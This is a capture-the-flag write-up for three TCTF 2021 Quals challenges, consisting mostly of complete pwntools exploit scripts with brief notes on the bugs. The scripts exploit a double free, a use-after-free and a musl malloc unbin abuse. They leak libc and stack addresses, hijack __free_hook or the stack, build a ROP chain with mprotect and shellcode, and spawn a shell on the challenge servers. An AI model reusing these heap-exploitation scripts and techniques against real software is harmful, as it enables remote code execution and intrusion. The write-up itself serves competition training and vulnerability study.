Misc
welcome
join后在公告栏获取flag
PWN
listbook
The function get_index ( .text:000000000000134C ) may get a minus value so that array overflow will happen to this program.
int __fastcall get_index(node *this, int name_len)
{
char v3; // [rsp+17h] [rbp-5h]
char v4; // [rsp+17h] [rbp-5h]
int i; // [rsp+18h] [rbp-4h]
v3 = 0;
for ( i = 0; i < name_len; ++i )
v3 += this->name[i];
v4 = abs8(v3);
if ( v4 > 15 )
v4 %= 16;
return v4;
}
When 'x80' is inputed, get_index() will get a special minus value which assigns new_node to the global_sign[0], it can lead to double free.
void __fastcall add()
{
int index; // [rsp+4h] [rbp-Ch]
node *new_node; // [rsp+8h] [rbp-8h]
printf("name>");
new_node = (node *)malloc(0x20uLL);
memset(new_node, 0, sizeof(node));
read_n(new_node->name, 16);
new_node->content = (char *)malloc(512uLL);
printf("content>");
read_n(new_node->content, 512);
index = get_index(new_node, 16);
if ( global_sign[index] )
new_node->next = (node *)global_ptr[index];
global_ptr[index] = new_node;
global_sign[index] = 1;
puts("done");
}
Exploit it by double free.
#!/usr/bin/python3
# -*- coding:utf-8 -*-
from pwn import *
import os, struct, random, time, sys, signal
context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './a'
# sh = process(execve_file)
sh = remote('111.186.58.249', 20001)
def add(name, content):
sh.sendlineafter('>>', '1')
sh.sendafter('name>', name)
sh.sendafter('content>', content)
def delete(index):
sh.sendlineafter('>>', '2')
sh.sendlineafter('index>', str(index))
def show(index):
sh.sendlineafter('>>', '3')
sh.sendlineafter('index>', str(index))
for i in range(7):
add(chr(0x01) + 'n', 'an')
add(chr(0x00) + 'n', 'an')
add(chr(0x02) + 'n', 'an')
add(chr(0x03) + 'n', 'an')
delete(1)
delete(2)
delete(0)
# UAF to leak libc address
add(chr(0x80) + 'n', 'an')
show(0)
sh.recvuntil(' => ')
libc_addr = u64(sh.recvn(6) + b' ') - 0x1ebde0
success("libc_addr: " + hex(libc_addr))
# Leak heap address
add(chr(0x04) + 'n', 'an')
delete(0)
delete(0x4)
add(chr(0x80) + 'n', 'an')
show(0)
sh.recvuntil(' => ')
heap_addr = u64(sh.recvn(6) + b' ') - 0x750
success("heap_addr: " + hex(heap_addr))
# UAF to forge smallbins for structuring heap overlap
add(chr(0x04) + 'n', 'an')
delete(0)
add(chr(0x04) + 'n', p64(libc_addr + 0x1ebde0) + p64(heap_addr + 0xcd0) + b'n')
for i in range(2):
add(chr(0x04) + 'n', 'an')
add(chr(0x05) + 'n', b' ' * 0x100 + p64(0) + p64(0x211) + p64(heap_addr + 0x1280) + p64(heap_addr + 0xf10) + b'n')
add(chr(0x06) + 'n', b' ' * 0x100 + p64(0) + p64(0x211) + p64(heap_addr + 0xcd0) + p64(libc_addr + 0x1ebde0) + b'n')
add(chr(0x07) + 'n', 'an') # 0x2050
add(chr(0x08) + 'n', '/bin/shn')
add(chr(0x09) + 'n', 'an')
# Use heap overlap to hijack tcache and __free_hook, finally call system("/bin/sh")
delete(7)
delete(9)
add(chr(0x09) + 'n', b'd' * 0x130 + p64(libc_addr + 0x1eeb28) + b'n')
add(chr(0x10) + 'n', 'an')
add(chr(0x11) + 'n', p64(libc_addr + 0x55410) + b'n')
delete(8)
sh.interactive()
hash_collision
Hijack stack directly.
#!/usr/bin/python3
# -*- coding:utf-8 -*-
from pwn import *
import os, struct, random, time, sys, signal
context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './uc_masteeer.py'
# execve_file = './a'
# sh = process(execve_file)
sh = remote('111.186.59.29', 10087)
def patch(addr, size, data):
sh.sendlineafter('?: ', '3')
sh.sendafter('addr: ', p64(addr))
sh.sendafter('size: ', p64(size))
sh.sendafter('data: ', data)
shellcode = asm('''
mov rdx, 0xDEADBEF1030
mov rbx, 0xbabecafe000
mov [rbx], rdx
mov rax, 0xbabecafe800
mov rcx, 0xbabecafe233
lea rsp, [rcx-0x18]
mov rcx, 0xdeadbeef066
jmp rcx
''')
sh.send(shellcode)
patch(0xbabecafe233 + 8, 15, b'k33nlab/bin/sh ')
sh.sendlineafter('?: ', '2')
sh.interactive()
babyheap 2021
It uses a long long (8 bytes) variable in function edit() and a long (4 bytes) in function read_with_index(). These two parts lead to integer overflow, so we can choose a special value0xffffffff then heap overflow will happen to the program.
void __fastcall read_with_index(node *ptr, int index, int len)
{
if ( len <= ptr[index].size )
{
printf("Content: ");
read_n(ptr[index].calloc_buf, len);
}
else
{
puts("Invalid Size");
}
}
void __fastcall edit(node *ptr)
{
int index; // [rsp+14h] [rbp-Ch]
__int64 len; // [rsp+18h] [rbp-8h]
printf("Index: ");
index = get_int();
if ( index >= 0 && index <= 15 && ptr[index].used == 1 )
{
printf("Size: ");
len = get_int(); // Heap overflow
if ( len >= 0 )
{
read_with_index(ptr, index, len);
printf("Chunk %d Updatedn", (unsigned int)index);
}
else
{
puts("Invalid Size");
}
}
else
{
puts("Invalid Index");
}
}
The program use musl-libc which has few security checks, let us to take a look of the source. Musl-malloc uses double circular linked list to manage heap, and we can abuse the function unbin() to write a heap address in any place. Also it can illicitly obtain memory that has the write permission by malloc with the function unbin().
musl-1.1.24/src/malloc/malloc.c:188
static void unbin(struct chunk *c, int i)
{
if (c->prev == c->next)
a_and_64(&mal.binmap, ~(1ULL<<i));
c->prev->next = c->next;
c->next->prev = c->prev;
c->csize |= C_INUSE;
NEXT_CHUNK(c)->psize |= C_INUSE;
}
Stdout can be hijack to leak some information, finally we can exploit it.
#!/usr/bin/python3
# -*- coding:utf-8 -*-
from pwn import *
import os, struct, random, time, sys, signal
context.arch = 'amd64'
# context.arch = 'i386'
context.log_level = 'debug'
execve_file = './a'
# sh = process(execve_file); localhost = True ;
sh = remote('111.186.59.11', 11124); localhost = False ;
libc = ELF('./libc.so')
# libc = ELF('/usr/lib/x86_64-linux-musl/libc.so')
def add(size, content):
sh.sendlineafter('Command: ', '1')
sh.sendlineafter('Size: ', str(size))
sh.sendlineafter('Content: ', content)
def edit(index, size, content):
sh.sendlineafter('Command: ', '2')
sh.sendlineafter('Index: ', str(index))
sh.sendlineafter('Size: ', str(size))
sh.sendlineafter('Content: ', content)
def delete(index):
sh.sendlineafter('Command: ', '3')
sh.sendlineafter('Index: ', str(index))
def show(index):
sh.sendlineafter('Command: ', '4')
sh.sendlineafter('Index: ', str(index))
# prepare some chunks
add(0x18, '')
add(0x18, '')
add(0x18, '')
add(0x88, '')
add(0x88, '')
add(0x88, '')
add(0xa8, '')
add(0xa8, '')
add(0xa8, '')
add(0xc8, '')
add(0xc8, '')
add(0xc8, '')
# chunk overlap to leak libc address.
edit(0, 0xffffffff, b' ' * 0x30 + p64(0x41) + p64(0x61) + b' ' * 0x30 + p64(0x41) + p64(0x41) + b' ' * 0x10 + p64(0x61) + p64(0x61) )
delete(1)
add(0x48, '')
edit(0, 0xffffffff, b' ' * 0x30 + p64(0x41) + p64(0x61) + b' ' * 0x30 + p64(0x41) + p64(0x41) + b' ' * 0x10 + p64(0x61) + p64(0x61) )
delete(2)
show(1)
sh.recvuntil(': ')
sh.recvn(0x40)
libc_addr = 0
if(localhost == True):
libc_addr = u64(sh.recvn(8)) - 0xd4a98 # localhost
else:
libc_addr = u64(sh.recvn(8)) - 0xb0a58 # remote
success("libc_addr: " + hex(libc_addr))
stdout_addr = 0
if(localhost == True):
stdout_addr = libc_addr + libc.sym['__stdout_FILE'] # localhost
else:
stdout_addr = libc_addr + 0xB0280 # remote
success("stdout_addr: " + hex(stdout_addr))
# Write two address which has write permission to build the double circular linked list.
# Then we can get the memory of stdout
edit(0, 0xffffffff, b' ' * 0x30 + p64(0x41) + p64(0x61) + b' ' * 0x30 + p64(0x41) + p64(0x41) + p64(stdout_addr - 0x30 - 0x100)[:6])
add(0x18, '')
delete(4)
edit(3, 0xffffffff, b' ' * 0x90 + p64(0xa1) + p64(0xa1) + p64(stdout_addr - 0x28 - 0x100)[:6])
add(0x88, '') # 4
__stdio_write = 0
if(localhost == True):
__stdio_write = libc_addr + libc.sym['__stdio_write'] # localhost
else:
__stdio_write = libc_addr + 0x5adf0 # remote
libc_buf = 0
if(localhost == True):
libc_buf = libc_addr + libc.sym['buf'] + 8 # localhost
else:
libc_buf = libc_addr + 0xb1908 # remote
add(0x88, '') # 12 , memory of stdout
# Leak stack address by stdout.
edit(12, 0xffffffff, b' ' * 0x118 + p64(0x45) + p64(0) * 3 + p64(libc_addr + libc.sym['environ'] + 8) * 2 + p64(0) + p64(libc_addr + libc.sym['environ']) + p64(0)
+ p64(__stdio_write) + p64(0) + p64(libc_buf) + p64(128))
stack_addr = u64(sh.recvn(8)) - 0xd4a98 # localhost
success("stack_addr: " + hex(stack_addr))
# Fix stdout
sh.sendline('2')
sh.sendline('12')
sh.sendline(str(0xffffffff))
sh.sendline( b' ' * 0x118 + p64(0x45) + p64(0) * 3 + p64(libc_addr + libc.sym['environ'] + 8) * 2 + p64(0) + p64(libc_addr + libc.sym['environ']) + p64(0)
+ p64(__stdio_write) + p64(0) + p64(libc_buf) + p64(0))
# Write two address which has write permission to build the double circular linked list, save as above.
# Get the memory of stack
delete(7)
edit(6, 0xffffffff, b' ' * 0xb0 + p64(0xc1) + p64(0xc1) + p64(stack_addr + 0xd4a60 - 0x30)[:6])
add(0xa8, '') # 7
delete(10)
edit(9, 0xffffffff, b' ' * 0xd0 + p64(0xe1) + p64(0xe1) + p64(stack_addr + 0xd4a60 - 0x28)[:6])
add(0xc8, '') # 10
# Rop while obtaining ability of arbitrary code execution
layout = [
libc_addr + 0x0000000000015291, # pop rdi; ret
(stack_addr + 0xd4a60 - 0x28) & (~0xfff),
libc_addr + 0x000000000001d829, # pop rsi; ret
0x2000,
libc_addr + 0x000000000002cdda, # pop rdx; ret
7,
libc_addr + 0x0000000000016a16, # pop rax; ret
21,
libc_addr + 0x0000000000078beb, # dec rax; shr rax, 1; movq xmm1, rax; andpd xmm0, xmm1; ret;
libc_addr + 0x0000000000023720, # syscall; ret
libc_addr + 0x0000000000016a16, # pop rax; ret
stack_addr + 0xd4ab0,
libc_addr + 0x0000000000019f2a, # call rax
]
shellcode = asm('''
mov rax, 0x67616c66 ;// flag
push 0
push rax
mov rdi, rsp
xor esi, esi
mov eax, 2
syscall
cmp eax, 0
js fail
mov edi, eax
mov rsi, rsp
add rsi, 0x200
push rsi
mov edx, 100
xor eax, eax
syscall ;// read
mov edx, eax
mov eax, 1
pop rsi
mov edi, eax
syscall ;// write
jmp exit
fail:
mov rax, 0x727265206e65706f ;// open error!
mov [rsp], rax
mov eax, 0x0a21726f
mov [rsp+8], rax
mov rsi, rsp
mov edi, 1
mov edx, 12
mov eax, edi
syscall ;// write
exit:
xor edi, edi
mov eax, 231
syscall
''')
add(0xc8, flat(layout) + shellcode) # 13
sh.sendlineafter('Command: ', '5')
sh.interactive()
本文始发于微信公众号(星盟安全):TCTF 2021 Quals-polaris Writeup
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论